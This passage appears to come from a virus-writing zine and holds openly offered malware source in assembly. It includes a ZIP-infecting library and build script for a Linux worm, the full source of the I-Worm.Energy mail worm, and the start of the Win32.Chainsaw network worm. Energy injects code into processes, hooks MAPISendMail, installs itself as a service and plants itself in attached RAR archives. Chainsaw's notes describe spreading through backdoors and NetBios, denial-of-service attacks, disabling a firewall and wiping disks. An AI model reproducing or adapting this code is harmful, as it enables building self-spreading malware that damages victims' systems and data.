.0007:
pop ecx
call write_console
mov eax, esi
call write_dword
call .0008
db "EDI=", 0
.0008:
pop ecx
call write_console
mov eax, edi
call write_dword
mov ecx, deb_msg0
call write_console
popad
ret
%endif
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WORM.S]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WORM.I]ÄÄÄ
param1 equ 4
param2 equ 8
param3 equ 12
param4 equ 16
param5 equ 20

_Push equ 4

_Pushad equ 8*4

_Pushad_eax equ 7*4


_Pushad_ecx equ 6*4
_Pushad_edx equ 5*4
_Pushad_ebx equ 4*4
_Pushad_esp equ 3*4
_Pushad_ebp equ 2*4
_Pushad_esi equ 1*4
_Pushad_edi equ 0*4
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WORM.I]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[IZIP.S]ÄÄÄ
;VXZIP Library
;(c) Vecna 2000

BITS 32

%define LINUX 1

%include "izip.i"

%ifdef LINUX
global izip_maxaddsize
global izip_add
global izip_strlen
global izip_crc32
%endif

;push ptr2dropname
;push sizeof_dropper
;call
izip_maxaddsize:
;eax=size that .zip will increase
push dword [esp+param2]
call izip_strlen
lea eax, [eax+eax+(sizeof_zip_central+sizeof_zip_local)]
add eax, [esp+param1]
ret 8

;push sizeof_zip
;push ptr2zip
;push ptr2dropname
;push sizeof_dropper
;push ptr2dropper
;call
izip_add:
;eax=new sizeof_map
pushad
sub esp, _Stack
mov esi, [esp+_Pushad+_Stack+param4]
sub ecx, ecx
.local_hdr:
cmp dword [esi+zip_loc_sign_], zip_local_sign
jne .central_hdr
movzx eax, word [esi+zip_size_fname]
mov edx, dword [esi+zip_ver_ned_to_extr]
mov ebx, dword [esi+zip_file_time]
inc ecx
cmp word [esi+zip_compression_method], 0
jne .seek_next
%ifndef LINUX
mov edi, [esi+zip_local_fname+eax-4]
or edi, 020202000h
sub edi, ".exe"
%else
cmp byte [esi+zip_local_fname+eax-1]
, "!"
%endif
je .error
.seek_next:
movzx edi, word [esi+zip_extra_field_length]
add eax, edi
add eax, dword [esi+zip_compressed_size]
lea esi, [eax+esi+sizeof_zip_local]
jmp .local_hdr
.central_hdr:
jecxz .error
cmp dword [esi+zip_centr_sign_], zip_central_sign
je .insert_local_hdr
.error:
sub ecx, ecx
.exit:
add esp, _Stack
mov [esp+_Pushad_eax], ecx
popad
ret 20
.insert_local_hdr:
mov ecx, [esp+_Pushad+_Stack+param5]
add ecx, [esp+_Pushad+_Stack+param4]
sub ecx, esi
add esi, ecx
push dword [esp+_Pushad+_Stack+param3]
call izip_strlen
lea edi, [esi+eax+sizeof_zip_local]
add edi, [esp+_Pushad+_Stack+param2]
std
rep movsb
mov byte [edi], "P"
cld
xchg edi, esi
xchg ecx, ebx
mov eax, edi
sub eax, [esp+_Pushad+_Stack+param4]
mov dword [esp+rel_str_local_hdr], eax
mov eax, zip_local_sign
stosd
mov eax, edx
stosd ;version/flags
sub eax, eax
stosw ;stored
mov eax, ecx
stosd ;time/date
push dword [esp+_Pushad+_Stack+param2]
push dword [esp+_Pushad+_Stack+param1+_Push]
call izip_crc32
stosd ;crc32
mov eax, [esp+_Pushad+_Stack+param2]
stosd
stosd ;size
mov esi, [esp+_Pushad+_Stack+param3]
push esi
call izip_strlen
sub ecx, ecx
stosw ;name size
xchg eax, ecx
stosw ;extra size
rep movsb ;name
mov ecx, [esp+_Pushad+_Stack+param2]
mov esi, [esp+_Pushad+_Stack+param1]
rep movsb ;copy dropper
mov esi, edi
sub edi, [esp+_Pushad+_Stack+param4]
mov dword [esp+rel_str_central_hdr], edi
.zip_end_hdr:
cmp dword [esi+zip_centr_sign_], zip_central_sign
jne .insert_central_hdr
movzx eax, word [esi+zip_size_fname_]
movzx edx, word [esi+zip_extra_field_length_]
add eax, edx
movzx edx, word [esi+zip_file_comment_length_]
add eax, edx
mov edx, [esi+zip_ver_made_by_]
test byte [esi+zip_extrnl_file_attr_], 10h
jnz .skip_dir
mov ebx, [esi+zip_file_time_]
mov edi, [esi+zip_disk_number_start_]
mov ecx, [esi+zip_flags_]
.skip_dir:
lea esi, [esi+eax+sizeof_zip_central]
jmp .zip_end_hdr
.insert_central_hdr:
cmp dword [esi+zip_end_sign_], zip_end_sign
jne near .error
push dword [esp+_Pushad+_Stack+param3]
call izip_strlen
push eax
pushad
add eax, sizeof_zip_central
lea edi, [esi+eax]
add [esi+size_of_the_central_directory], eax
movzx eax, word [esi+zipfile_comment_length]
lea ecx, [eax+sizeof_zip_end]
add edi, ecx
add esi, ecx
std
rep movsb
mov byte [edi], "P"
cld
popad
xchg edi, esi
mov eax, zip_central_sign
stosd ;sign
mov eax, edx
stosd ;version
mov eax, ecx
stosw ;flag
pop ecx
sub eax, eax
stosw ;method
xchg eax, ebx
stosd ;time/date
push dword [esp+_Pushad+_Stack+param2]
push dword [esp+_Pushad+_Stack+param1+_Push]
call izip_crc32
stosd ;crc32
mov eax, [esp+_Pushad+_Stack+param2]
stosd
stosd ;size
mov eax, ecx
stosw ;name size
xchg eax, ebx
stosd ;extra size
xchg eax, esi
stosd ;disk/attr
%ifndef LINUX
xchg eax, esi ;no file attributes
%else
mov eax, 0816d0000h ;r-xr-xr-x
%endif
stosd ;
mov eax, [esp+rel_str_local_hdr]
stosd
mov esi, [esp+_Pushad+_Stack+param3]
rep movsb
mov esi, edi
.check_end:
cmp dword [esi+zip_end_sign_], zip_end_sign
jne near .error
add dword [esi+ttl_num_of_ent_on_this_disk], 00010001h
mov eax, [esp+rel_str_central_hdr]
mov dword [esi+off_of_strt_of_cent_directory], eax
movzx eax, word [esi+zipfile_comment_length]
lea ecx, [esi+eax+sizeof_zip_end]
sub ecx, [esp+_Pushad+_Stack+param4]
jmp .exit

;push sizeof_data
;push ptr2data
;call
izip_crc32:
;eax=crc32
pushad
mov edx, [esp+_Pushad+param1]
mov ecx, [esp+_Pushad+param2]
push byte -1
pop eax
.bigloop:
xor al, [edx]
inc edx
mov bl, 8
.bitloop:
shr eax, 1
jnc .no_hash
xor eax, 0EDB88320h
.no_hash:
dec bl
jnz .bitloop
loop .bigloop
not eax
mov [esp+_Pushad_eax], eax
popad
ret 8

;push ptr2string
;call
izip_strlen:
;eax=lenght of the string
pushad
mov esi, [esp+_Pushad+param1]
sub ecx, ecx
.count:
lodsb
test al, al
jz .done
inc ecx
jmp .count
.done:
mov [esp+_Pushad_eax], ecx
popad
ret 4
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[IZIP.S]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE]ÄÄÄ
#!/bin/sh

nasm worm.s -f elf -l worm.lst

gcc worm.o izip.o -o zipworm! -O2

strip zipworm!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE]ÄÄÄ
COMMENT #

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ I-Worm.Energy ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hey all...
ÄÄÄÄÄÄÄÄÄÄÄ

it was one b0ring sunday, when I decided to code some small and kewl virus...
I was tired from coding large projectz (HIV, XTC)... I wanted to code one
worm with some nice ideaz, like the Win2k.Stream.

and here it is. after some meditationz, full of experiencez from psychedelics
I decided to call this worm "Energy"... it is very small worm, spreading via
RAR filez. it can parse all processes, hook there MAPISendMail API procedure
and infect all attached RAR filez in a message by dropping itself to there.
very similar technique of the process'es address space manipulationz is
described in my article "Multi-process residency" and Win32.HIV virus. surely
it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)
also on earlier versionz of Windows NT - but I don't know, I haven't tested it.

it can stay resident in memory as a service, by standard API callz, valid only
in NT systemz. while infecting the RAR archivez it addz itself to there under
the "SETUP.EXE" filename, containing also the standard setup icon. I tried to
optimize the source a bit... I know the worm is not super-small, but I it is
resident heavilly armoured very effective tiny mail-spreading worm.

the scheme of execution:


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

after execution:
- anti-* stuff
- if initialized by SCM, run as a service process
- copy worm to system directory as "ENERGY.EXE"
- register worm as service process and run it everytime the OS will start
- enum processes, find MAPI32.dll there and hook MAPSendMail (using many
trics)
- wait one minute and again

hook_procedure:
- parse embedded filez and search for RAR filez.
- infect them by worm file: SETUP.EXE, mark as read-only (already-infected
mark).

the worm is encrypted/compressed by "tElock, version 0.51", one very nice


utility for armouring executable filez. this protector containz many nice
anti-* featurez. that's why I decided to use it. and also becoz I think guyz at
AVP can't handle this one.

it is possible that worm containz some bugz. yeah, but I don't care... I'm glad
I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.

If you would like to consult anything with me, feel free to contact me...
(c) 14th November 2000 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Czech Republic ³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
@ benny_29a@privacyx.com ³
@ http://benny29a.cjb.net ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#

.586p
.model flat ;blablabla

extrn GetLastError:PROC ;needed APIz


extrn EnumProcesses:PROC
extrn OpenProcess:PROC
extrn VirtualProtect:PROC
extrn VirtualAllocEx:PROC
extrn VirtualFreeEx:PROC
extrn CloseHandle:PROC
extrn CreateRemoteThread:PROC
extrn WriteProcessMemory:PROC
extrn Sleep:PROC
extrn WaitForSingleObject:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn GetModuleFileNameA:PROC
extrn GetFileSize:PROC
extrn ReadFile:PROC
extrn VirtualFree:PROC
extrn VirtualAlloc:PROC
extrn SetFilePointer:PROC
extrn SetFileAttributesA:PROC
extrn OpenMutexA:PROC
extrn ExitThread:PROC
extrn GetSystemDirectoryA:PROC
extrn CopyFileA:PROC

;extrn OpenServiceA:PROC
;extrn DeleteService:PROC ;***debug only!
extrn OpenSCManagerA:PROC
extrn CreateServiceA:PROC
extrn CloseServiceHandle:PROC
extrn StartServiceCtrlDispatcherA:PROC
extrn RegisterServiceCtrlHandlerA:PROC
extrn SetServiceStatus:PROC

include useful.inc ;include filez


include win32api.inc

PROC_COUNT equ 40*4 ;number of processes

.data
db ? ;some data

.code
Start: ;worm code starts here
pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame

e_name: @pushsz 'EnErGy'


push 0
push 1
call OpenMutexA ;check if mutex is
test eax,eax ;created, if not,
je end_seh ;we are prob. debugged
push eax
call CloseHandle ;close its handle

jmp SVCRegister ;logging as a service

e_svc: push 256


mov esi, offset worm_name
push esi
push 0
call GetModuleFileNameA ;get path+filename of
;the worm
mov edi,offset sys_dir
push edi
push 256
push edi
call GetSystemDirectoryA ;get windowz system dir.
add edi,eax
mov al,'\'
stosb
mov eax,'rene'
stosd
mov eax,'e.yg'
stosd
mov eax,'ex'
stosd ;construct path+filename

pop edi
push 0
push edi
push esi
call CopyFileA ;copy worm to sys. dir.

call SVCCreate ;register as a service

push api_num
pop ecx
call @api_table
dd offset GetModuleHandleA ;adressez of APIz
dd offset GetProcAddress
dd offset VirtualProtect
dd offset CreateFileA
dd offset CloseHandle
dd offset WriteFile
dd offset GetFileSize
dd offset ReadFile
dd offset VirtualFree
dd offset VirtualAlloc
dd offset SetFilePointer
dd offset SetFileAttributesA
api_num = 12
@api_table:
pop ebx

call @api_dest ;addressez of variablez


dd offset _gmha ;that will hold APIz
dd offset _gpa
dd offset _vp
dd offset _cfa
dd offset _ch
dd offset _wf
dd offset _gfs
dd offset _rf
dd offset _vf
dd offset _va
dd offset _sfp
dd offset _sfaa
@api_dest:
pop esi

get_apiz:
dec ecx ;decrement counter
mov eax,[ebx+ecx*4]
mov eax,[eax+2]
mov eax,[eax]
mov edx,[esi+ecx*4]
mov [edx],eax ;store API address
test ecx,ecx
jne get_apiz

worm_loop:
mov ebx,offset tmp
push ebx
push PROC_COUNT
mov esi,offset proc_dump
push esi
call EnumProcesses ;enum all processez
dec eax
jne end_seh

mov ecx,[ebx] ;try this PID


p_check:lodsd
call proc_infect ;try to infect it
add ecx,-3
loop p_check ;try next PID

worm_wait:
push 60000
call Sleep ;wait one minute
jmp worm_loop ;and try again.

;infect processez
proc_infect Proc
pushad
push eax
push 0
push 2 or 8 or 10h or 20h or 400h
call OpenProcess ;get handle to process
xchg eax,ecx
jecxz end_proc_infect
mov ebx,ecx

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push virtual_end-Start
push 0
push ebx
call VirtualAllocEx ;allocate there memory
xchg eax,ecx ;for worm
jecxz end_proc_infect2
mov esi,ecx

push 0
push virtual_end-Start
push offset Start
push esi
push ebx
call WriteProcessMemory ;copy there worm body
dec eax
jne end_proc_infect3

lea edx,[esi+offset ThreadEntry-offset Start]


push eax
push eax
push eax
push edx
push eax
push eax
push ebx
call CreateRemoteThread ;create thread there
xchg eax,ecx
jecxz end_proc_infect3
push ecx

push -1
push ecx
call WaitForSingleObject ;wait for its termination
call CloseHandle ;and close its handle
jmp end_proc_infect2 ;and quit

end_proc_infect3:
push MEM_RELEASE
push 0
push esi
push ebx
call VirtualFreeEx ;release memory if failed

end_proc_infect2:
push ebx
call CloseHandle ;close handle to process
end_proc_infect:
popad
ret ;and quit
proc_infect EndP

;remote thread procedure


ThreadEntry Proc
pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
call gdelta
gdelta: pop ebp ;get delta offset

@pushsz 'MAPI32.dll'
mov eax,12345678h
_gmha = dword ptr $-4
call eax ;get address of MAPI32.dll
xchg eax,ecx
jecxz end_seh ;quit if not loaded
@pushsz 'MAPISendMail'
push ecx
mov eax,12345678h
_gpa = dword ptr $-4
call eax ;get address of
xchg eax,ecx ;MAPISendMail API
jecxz end_seh
mov esi,ecx ;to ESI

lea eax,[ebp + tmp - gdelta]


push eax
push PAGE_READWRITE
push 5
push esi
mov eax,12345678h
_vp = dword ptr $-4
call eax ;release page protection
xchg eax,ecx
jecxz end_seh

call hook_api ;hook the API

end_seh:@SEH_RemoveFrame ;remove SEH frame


popad ;and quit
ret

;proc for API hooking


hook_api:
mov [ebp + old_MAPI_addr - gdelta],esi
push esi
lea edi,[ebp + old_MAPI_api - gdelta]
movsd
movsb ;save first bytez of API
pop edi
mov ebx,edi

lea eax,[ebp + MAPI_hooker - gdelta]


sub ebx,eax
neg ebx
add ebx,-5
mov al,0E9h
stosb
xchg eax,ebx
stosd ;overwrite by JMP <worm_api>
ret

;the API hooker


MAPI_hooker:
push 12345678h
old_MAPI_addr = dword ptr $-4 ;save the address of API

pushad
mov edi,[esp.cPushad] ;get ptr to message
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
push edi

mov ebx,[esp.cPushad.28]
mov ecx,[ebx+40] ;number of attachmentz
mov ebx,[ebx+44] ;ptr to file fieldz

f_parse:mov esi,[ebx+12]
lea edi,[ebp + arc_buffer - gdelta]
push edi
@copysz
dec edi
cmp byte ptr [edi-1],'\'
je over_slash
mov al,'\'
stosb
over_slash:
mov esi,[ebx+16]
@copysz
or [esi-5],20202020h ;lower case
cmp [esi-5],'rar.'
pop esi ;create path+filename
jne o_r ;quit if not RAR file
call infect_archive ;try to infect this file
o_r: sub ebx,-24
loop f_parse ;try another file in msg

pop edi
call @m_res
old_MAPI_api db 5 dup (90h)
@m_res: pop esi
movsd
movsb ;remove the API hooker
jmp end_seh ;and quit

;procedure for RAR archive infecting


infect_archive:
pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
call gd
gd: pop ebp ;get delta offset

lea eax,[ebp + worm_name - gd] ;get worm filename


push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ
push eax
call [ebp + _cfa - gd] ;open worm file
inc eax
je end_seh
dec eax
mov [ebp + hFile - gd],eax ;save handle

push 0
push eax
mov eax,12345678h
_gfs = dword ptr $-4
call eax ;get its size
push eax

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push eax
push 0
mov eax,12345678h
_va = dword ptr $-4
call eax ;allocate enough memory
test eax,eax
pop edx
je end_file
xchg eax,ebx

push edx
push 0
lea eax,[ebp + tmp - gd]
push eax
push edx
push ebx
push dword ptr [ebp + hFile - gd]
mov eax,12345678h
_rf = dword ptr $-4 ;and copy there worm
call eax
call close_file ;close handle to file
pop edi

pushad
mov esi,ebx
call CRC32 ;calculate CRC32 of
mov [ebp + RARCRC32 - gd],eax ;the worm file
popad

push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ or GENERIC_WRITE
push esi
mov eax,12345678h
_cfa = dword ptr $-4
call eax ;open the archive
inc eax
je end_file2
dec eax
mov [ebp + hFile - gd],eax ;save its handle

push 2
push 0
push 0
push eax
mov eax,12345678h
_sfp = dword ptr $-4
call eax ;go to EOF

pushad
lea esi,[ebp + RARHeaderCRC+2 - gd]
push end_RAR-RARHeader-2
pop edi
call CRC32 ;calculate CRC32 of
mov [ebp + RARHeaderCRC - gd],ax ;the RAR file header
popad ;and save it

push 0
lea eax,[ebp + tmp - gd]
push eax
push end_RAR-RARHeader
call end_RAR
RARHeader: ;No comment ;)
RARHeaderCRC dw 0
RARType db 74h
RARFlags dw 8000h
RARHSize dw end_RAR-RARHeader
RARCompressed dd 2000h
RAROriginal dd 2000h
RAROS db 0
RARCRC32 dd 0
RARFileDateTime dd 12345678h
RARNeedVer db 14h
RARMethod db 30h
RARFNameSize dw end_RAR-RARName
RARAttrib dd 0
RARName db 'SETUP.EXE'
end_RAR:
push dword ptr [ebp + hFile - gd]
mov eax,12345678h
_wf = dword ptr $-4
call eax ;write RAR file header

push 0
lea eax,[ebp + tmp - gd]
push eax
push edi
push ebx
push dword ptr [ebp + hFile - gd]
call [ebp + _wf - gd] ;write the worm

end_file2:
push MEM_RELEASE
push 0
push ebx
mov eax,12345678h
_vf = dword ptr $-4
call eax ;release the memory
end_file:
call close_file ;close the archive

push FILE_ATTRIBUTE_READONLY
push esi
mov eax,12345678h
_sfaa = dword ptr $-4
call eax ;set READ-ONLY attribute
jmp end_seh ;and quit

close_file:
push 12345678h ;handle...
hFile = dword ptr $-4
mov eax,12345678h
_ch = dword ptr $-4
call eax ;close file handle
ret

CRC32 Proc
push ecx ;procedure for
push edx ;calculating CRC32s
push ebx ;at run-time
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
SVCHandler:
ret
CRC32 EndP
ThreadEntry EndP

;log on to SCM
SVCRegister Proc
call _dt
dd offset e_name+5
dd offset service_start
dd 0
dd 0
_dt: call StartServiceCtrlDispatcherA ;start service dispatcher
dec eax
jne e_svc ;quit if error (no service
;requestz)
push 0
call ExitThread ;terminate this thread

service_start: ;execution goes here...


pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame

push offset SVCHandler


push offset e_name+5
call RegisterServiceCtrlHandlerA ;register service control
test eax,eax ;handler
je e_svc ;quit if error
push eax

call _ss
ss_: dd 10h or 20h
dd 4
dd 0
dd 0
dd 0
dd 0
dd 0
_ss: push eax
call SetServiceStatus ;set service status
call CloseServiceHandle ;close service handle
jmp e_svc ;and quit
SVCRegister EndP

;create item at SCM


SVCCreate Proc
push 000F0000h or 2
push 0
push 0
call OpenSCManagerA ;get handle to SCM
test eax,eax
je e_scm0
xchg eax,esi

; push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h


; push offset e_name+5
; push esi
; call OpenServiceA ;*** debug!
;
; push eax
; push eax
; call DeleteService ;*** debug!
; call CloseServiceHandle ;*** debug!

xor eax,eax
push eax
push eax
push eax
push eax
push eax
push offset sys_dir
push eax
push 2
push 10h
push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
push offset e_name+5
push dword ptr [esp]
push esi
call CreateServiceA ;create service item
test eax,eax ;at SCM
je e_scm1 ;quit if error

push eax
call CloseServiceHandle ;close service handlez
e_scm1: push esi
call CloseServiceHandle ;...
e_scm0: ret ;and quit
SVCCreate EndP

signature db 0,'[I-Worm.Energy] by Benny/29A',0


;signature
proc_dump db PROC_COUNT dup (?) ;buffer for PIDz
worm_name db 256 dup (?) ;buffer for filename
tmp dd ? ;temporary variable
sys_dir db 256 dup (?) ;buffer for system dir.
arc_buffer db 256 dup (?) ;buffer for archive
;filename
virtual_end: ;...end of virus.
ends
end Start ;.
;bonus:
;here are lyrics from "Imagine", one very nice song from John Lennon.

; Imagine there's no heaven,


; It's easy if you try,
; No hell below us,
; Above us only sky,
; Imagine all the people
; living for today...
;
; Imagine there's no countries,
; It isn't hard to do,
; Nothing to kill or die for,
; No religion too,
; Imagine all the people
; living life in peace...
;
; You may say I'm a dreamer,
; but I'm not the only one,
; I hope some day you'll join us,
; And the world will live as one.
;
; Imagine no possesions,
; I wonder if you can,
; No need for greed or hunger,
; A brotherhood of man,
; Imagine all the people
; Sharing all the world...
;
; You may say I'm a dreamer,
; but I'm not the only one,
; I hope some day you'll join us,
; And the world will live as one.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.ASM]ÄÄÄ
; AVP description.
; ---------------------------------------------------------------------------
; Worm.Chainsaw
;
; This is a network worm with Internet spreading ability. When the worm
; is run on a system for the first time, it installs itself. To do that it
; copies itself to the Windows system directory using the filename
; WINMINE.EXE and also to the root directory of the current drive using the
; filename CHAINSAW.EXE. The latter file then gets "hidden" attribute set.
; The worm then registers itself in the system registry, auto-run key:
;
; HKCU\Software\Microsoft\Windows\CurrentVersion\Run
; Mines = path\WINMINE.EXE
;
; where "path" is the Windows system directory name. The worm then exits and
; triggers its infection routines when run during the next Windows startup.
;
; During the next Windows startup the worm is automatically executed by
; Windows by an auto-run key in the system registry. The worm then registers
; itself as hidden application and runs its spreading routine. That routine
; enumerates shared drives on the local networks [* It doesn't even get near
; local shares. *], gets the Windows directory on a drive (if there is one),
; copies itself to there using the filename CHAINSAW.EXE (if the drive is
; mapped for full access) and registers itself in there by writing the "Run="
; instruction to the [windows] section of the WIN.INI file on the remote
; drive. During the next Windows restart the worm copy will be activated and
; will complete the infection.
;
; When the worm is started it sends a notifying message to the
; "alt.horror" conference. The message has the fields:
;
; From: "Leatherface" <hacked.up.for@bbq.net>
; Subject: CHAINSAWED
; Newsgroups: alt.horror
; Message body:
;
; WHO WILL SURVIVE
; AND WHAT WILL BE LEFT OF THEM?
;
; The worm also tries to send its copies to remote machines. To do that it
; gets randomly selected IP addresses in an endless loop and tries to connect
; to them. If it succeeds the worm tries to connect to a "Backdoor" trojan
; program on the remote machine (if the machine is infected by a backdoor
; program). After successfully connecting, the worm sends its copy to the
; remote machine and forces the Backdoor to execute it there. The list of
; "supported" Backdoors is as follows: Sub7, NetBus, NetBios. It's obvious
; that the worm has a very low chance to spread itself in such a way [*
; Several worms such as VBS/NetLog and W32/Qaz use *only* NetBios to spread,
; and are currently in the wild in large numbers, try to explain me this
; then. *]
;
; Depending on the system date the worm also sends a "Deny-of-service"
; packet to a randomly selected IP address. That packet is prepared so that
; it may cause a remote Win9x machine to crash (because of a bug in Win9x
; libraries). The worm intends to do that on the 31th of the month, but
; because of a bug compares that value with "year" field, and as a result
; will bomb random selected machines only if tje system date is set to the
; year 0031 [* Oops! Well atleast this version has it fixed :*]
;
; The worm also disables the "ZoneAlarm" Internet protection utility.
;
; Depending on its random counter the worm spawns a trojan program that
; erases data on the hard drive by writing the text to there:
;
; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE
; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR
; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL
; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY
; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED
; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND
; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC
; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF
; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST
; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,
; THE TEXAS CHAIN SAW MASSACRE..."
; ---------------------------------------------------------------------------

;============================================================================
;
;
; NAME: Win32.Chainsaw v1.01
; TYPE: NetBios/SubSeven/NetBus worm.
; DATE: July - September 2000.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; PAYLOAD: Sector trashing.
;
; FEATURES:
;
; - Disables ZoneAlarm firewall.
; - Not visible in 9x tasklist.
; - Sends usenet message on installation.
; - DoS'es random hosts on 31st of any month.
; - Anti-debugging code.
;
; Randomly scans the Internet for hosts running either SubSeven 2, NetBus 1,
; or NetBios, and then installs itself in the systems it can get access
; to. It's main payload is to IGMP DoS random Internet hosts on every 31st
; of the month, which will BSOD every released version of Windoze 95/98
; that isn't patched or firewalled.
;
;============================================================================

; I've kept the code clear and understandable for everyone, no optimizations
; of any kind, mainly due the file alignment, the filesize will usually just
; stay the same wether your code is optimized or not.

.386
.MODEL FLAT
.DATA

JUMPS

; Converts a little indian word to a big indian word.


DWBI MACRO Lil_Indian
DW (Lil_Indian SHR 8) + ((Lil_Indian AND 00FFh) SHL 8)
ENDM

EXTRN WSAGetLastError:PROC
EXTRN ioctlsocket:PROC
EXTRN ExitProcess:PROC
EXTRN WSAStartup:PROC
EXTRN WritePrivateProfileStringA:PROC
EXTRN WSACleanup:PROC
EXTRN socket:PROC
EXTRN closesocket:PROC
EXTRN setsockopt:PROC
EXTRN InternetGetConnectedState:PROC
EXTRN DeleteFileA:PROC
EXTRN connect:PROC
EXTRN setsockopt:PROC
EXTRN PeekMessageA:PROC
EXTRN SetFileAttributesA:PROC
EXTRN GetSystemDirectoryA:PROC
EXTRN CreateFileA:PROC
EXTRN recv:PROC
EXTRN send:PROC
EXTRN sendto:PROC
EXTRN CloseHandle:PROC
EXTRN GetSystemTime:PROC
EXTRN GetModuleHandle
EXTRN RegOpenKeyExA:PROC
EXTRN RegSetValueExA:PROC
EXTRN RegCloseKey:PROC
EXTRN ReadFile:PROC
EXTRN CopyFileA:PROC
EXTRN WNetAddConnection2A:PROC
EXTRN WNetCancelConnection2A:PROC
EXTRN SetErrorMode:PROC
EXTRN GetModuleFileNameA:PROC
EXTRN FindWindowA:PROC
EXTRN PostMessageA:PROC
EXTRN GetTickCount:PROC
EXTRN WriteFile:PROC
EXTRN GetLocalTime:PROC
EXTRN WinExec:PROC
EXTRN select:PROC
EXTRN GetPrivateProfileStringA:PROC
EXTRN GetModuleHandleA:PROC
EXTRN GetProcAddress:PROC
EXTRN WNetAddConnection2A:PROC
EXTRN WNetEnumResourceA:PROC
EXTRN WNetOpenEnumA:PROC
EXTRN WNetCloseEnum:PROC
EXTRN RegQueryValueExA:PROC
EXTRN gethostbyname:PROC
EXTRN inet_ntoa:PROC

Worm_Size EQU 6144

SEM_NOGPFAULTERRORBOX EQU 00000002h


OPEN_EXISTING EQU 00000003h
CREATE_ALWAYS EQU 00000002h
SO_SNDTIMEO EQU 1005h
SO_RCVTIMEO EQU 1006h
RESOURCE_GLOBALNET EQU 00000002h
